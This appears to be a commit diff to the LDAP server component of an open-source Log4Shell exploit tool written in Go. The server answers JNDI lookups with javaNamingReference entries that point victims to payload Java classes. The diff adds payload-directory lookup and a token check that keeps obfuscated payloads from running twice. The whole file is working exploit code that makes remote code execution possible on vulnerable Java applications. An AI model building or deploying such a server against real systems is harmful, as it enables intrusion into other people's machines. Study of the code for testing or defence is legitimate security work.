@@ -2,15 +2,30 @@ package log4shell
22
33import (
44 "log"
5+ "os"
6+ "path/filepath"
7+ "strings"
8+ "sync"
9+ "time"
510
611 "github.com/For-ACGN/ldapserver"
712 "github.com/lor00x/goldap/message"
813)
914
15+ // TokenExpireTime is used to prevent repeat execute payload.
16+ const TokenExpireTime = 20 // second
17+
1018type ldapHandler struct {
1119 logger * log.Logger
1220
13- codeBase string
21+ payloadDir string
22+ codeBase string
23+
24+ // tokens set is used to prevent repeat
25+ // execute payload when use obfuscate.
26+ // key is token, value is timestamp
27+ tokens map [string ]int64
28+ tokensMu sync.Mutex
1429}
1530
1631func (h * ldapHandler ) handleBind (w ldapserver.ResponseWriter , _ * ldapserver.Message ) {
@@ -19,14 +34,50 @@ func (h *ldapHandler) handleBind(w ldapserver.ResponseWriter, _ *ldapserver.Mess
1934}
2035
2136func (h * ldapHandler ) handleSearch (w ldapserver.ResponseWriter , m * ldapserver.Message ) {
37+ addr := m .Client .Addr ()
2238 req := m .GetSearchRequest ()
2339 dn := string (req .BaseObject ())
2440
25- // the last "/" about attr can't be deleted, otherwise
26- // java will not execute the downloaded class.
27- addr := m .Client .Addr ()
41+ // check class name has token
42+ if strings .Contains (dn , "_" ) {
43+ // parse token
44+ sections := strings .SplitN (dn , "_" , 2 )
45+ class := sections [0 ]
46+ if class == "" {
47+ h .logger .Printf ("[warning] %s search invalid java class \" %s\" " , addr , dn )
48+ h .sendError (w )
49+ return
50+ }
51+ // check token is already exists
52+ token := sections [1 ]
53+ if token == "" {
54+ h .logger .Printf ("[warning] %s search java class with invalid token \" %s\" " , addr , dn )
55+ h .sendError (w )
56+ return
57+ }
58+ if ! h .checkToken (token ) {
59+ h .sendError (w )
60+ return
61+ }
62+ dn = class
63+ }
64+
2865 h .logger .Printf ("[exploit] %s search java class \" %s\" " , addr , dn )
2966
67+ // check class file is exists
68+ fi , err := os .Stat (filepath .Join (h .payloadDir , dn + ".class" ))
69+ if err != nil {
70+ h .logger .Printf ("[error] %s failed to search java class \" %s\" : %s" , addr , dn , err )
71+ h .sendError (w )
72+ return
73+ }
74+ if fi .IsDir () {
75+ h .logger .Printf ("[error] %s searched java class \" %s\" is a directory" , addr , dn )
76+ h .sendError (w )
77+ return
78+ }
79+
80+ // send search result
3081 res := ldapserver .NewSearchResultEntry (dn )
3182 res .AddAttribute ("objectClass" , "javaNamingReference" )
3283 res .AddAttribute ("javaClassName" , message .AttributeValue (dn ))
@@ -37,3 +88,27 @@ func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Me
3788 done := ldapserver .NewSearchResultDoneResponse (ldapserver .LDAPResultSuccess )
3889 w .Write (done )
3990}
91+
92+ func (h * ldapHandler ) checkToken (token string ) bool {
93+ h .tokensMu .Lock ()
94+ defer h .tokensMu .Unlock ()
95+ // clean token first
96+ now := time .Now ().Unix ()
97+ for key , timestamp := range h .tokens {
98+ delta := now - timestamp
99+ if delta > TokenExpireTime || delta < - TokenExpireTime {
100+ delete (h .tokens , key )
101+ }
102+ }
103+ // check token is already exists
104+ if _ , ok := h .tokens [token ]; ok {
105+ return false
106+ }
107+ h .tokens [token ] = time .Now ().Unix ()
108+ return true
109+ }
110+
111+ func (h * ldapHandler ) sendError (w ldapserver.ResponseWriter ) {
112+ done := ldapserver .NewSearchResultDoneResponse (ldapserver .LDAPResultNoSuchObject )
113+ w .Write (done )
114+ }
0 commit comments